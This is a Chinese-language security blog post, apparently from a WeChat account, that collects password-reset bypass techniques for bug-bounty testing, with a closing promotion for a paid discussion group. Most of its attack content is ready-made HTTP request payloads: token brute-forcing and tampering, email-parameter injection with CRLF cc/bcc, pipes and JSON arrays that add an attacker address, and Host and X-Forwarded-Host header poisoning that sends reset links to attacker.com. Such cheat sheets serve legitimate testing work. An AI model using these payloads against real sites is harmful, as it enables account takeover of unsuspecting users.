声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
博客新域名:https://gugesay.com
不想错过任何消息?设置星标↓ ↓ ↓
概述
在挖掘IDOR类漏洞时,经常会遇到站点具有“重置密码”的功能,在重置密码时,我们可以尝试多种绕过方式来检验该功能是否安全。今天分享整理的一系列绕过姿势,你还有哪些奇技淫巧,欢迎在留言区补充~
基本操作
重置密码的基本操作不外乎以下几种:
-
输入电子邮件地址或手机号码,请求重置密码
-
查看邮件或短信,点击密码重置链接
-
更改密码或不更改密码
-
抓包,分析
利用姿势
重置Token泄露
-
请求重置密码
-
点击密码重置链接
-
不更改密码
-
点击跳转至任意第三方网站
-
查看Referer是否泄露密码重置Token
暴力破解
如果token不够复杂,可以尝试利用Burpsuite对token进行爆破,比如:
POST /resetPassword
[...]
[email protected]&code=$爆破$
更改token
尝试将token修改,比如以下几种方式:
-
将token修改为00000000:http://example.com/[email protected]&token=00000000
-
将token置空:http://example.com/[email protected]&token=Null/nil
-
使用一组旧token: http://example.com/[email protected]&token=[旧token1,旧token2]
电子邮件修改
尝试对电子邮件进行修改,比如以下几种方式:
-
使用
%20
增加攻击者的电子邮件地址:
POST /resetPassword
[...]
[email protected]%[email protected]
-
使用
|
增加攻击者的电子邮件地址:
POST /resetPassword
[...]
[email protected]|[email protected]
-
使用
cc
(抄送功能)增加攻击者的电子邮件地址:
POST /resetPassword
[...]
email="[email protected]%0a%0dcc:[email protected]"
-
使用
bcc
增加攻击者的电子邮件地址:
POST /resetPassword
[...]
email="[email protected]%0a%0dbcc:[email protected]"
-
将攻击者电子邮件作为第二参数:
POST /resetPassword
[...]
email="[email protected]",email="[email protected]"
-
将攻击者的电子邮件添加为 JSON 数组中的第二个参数:
POST /resetPassword
[...]
{"email":["[email protected]","[email protected]"]}
-
利用dnslog获取内部头或内部IP信息:
POST /resetPassword HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.target.com
Content-Length: Number
[email protected]@id.burpcollaborator.net
更改Host
-
利用
@
增加攻击者网站
POST /resetPassword
Host: [email protected]
email="[email protected]"
-
利用
:@
增加攻击者网站
POST /resetPassword
Host: target.com:@attacker.com
email="[email protected]"
-
利用
:
增加攻击者网站
POST /resetPassword
Host: target.com: attacker.com
email="[email protected]"
-
增加Host头:
POST /resetPassword
Host: target.com
Host: attacker.com
email="[email protected]"
-
增加X-Forwarded-Host:
POST /resetPassword
Host: target.com
X-Forwarded-Host: attacker.com
email="[email protected]"
-
利用Referer头:
POST /resetPassword
Host: target.com
X-Forwarded-Host: attacker.com
Referer: https://attacker.com
email="[email protected]"
-
其它头:
POST /resetPassword
Host: target.com
X-Forwarded-Host: attacker.com
Referer: https://attacker.com
X-Forwarded-For: attacker.com/.target.com
X-Forwarded-Host: attacker.com/.target.com
X-Client-IP: attacker.com/.target.com
X-Originating-IP: attacker.com/.target.com
X -WAP -Profile: https://attacker.com/.target.com/file.xml
True- Client- IP: attacker.com/.target.com
Referer: https://attacker.com/.target.com
email="[email protected]"
另外,国外白帽整理的重置密码的姿势汇总PPT已分享在星球,成员可免费查看。
加入星球,随时交流:
(前50位成员):99元/年
(前100位成员):128元/年
(100位+成员):199元/年
感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~
====正文结束====
原文始发于微信公众号(骨哥说事):重置密码绕过的N种利用姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论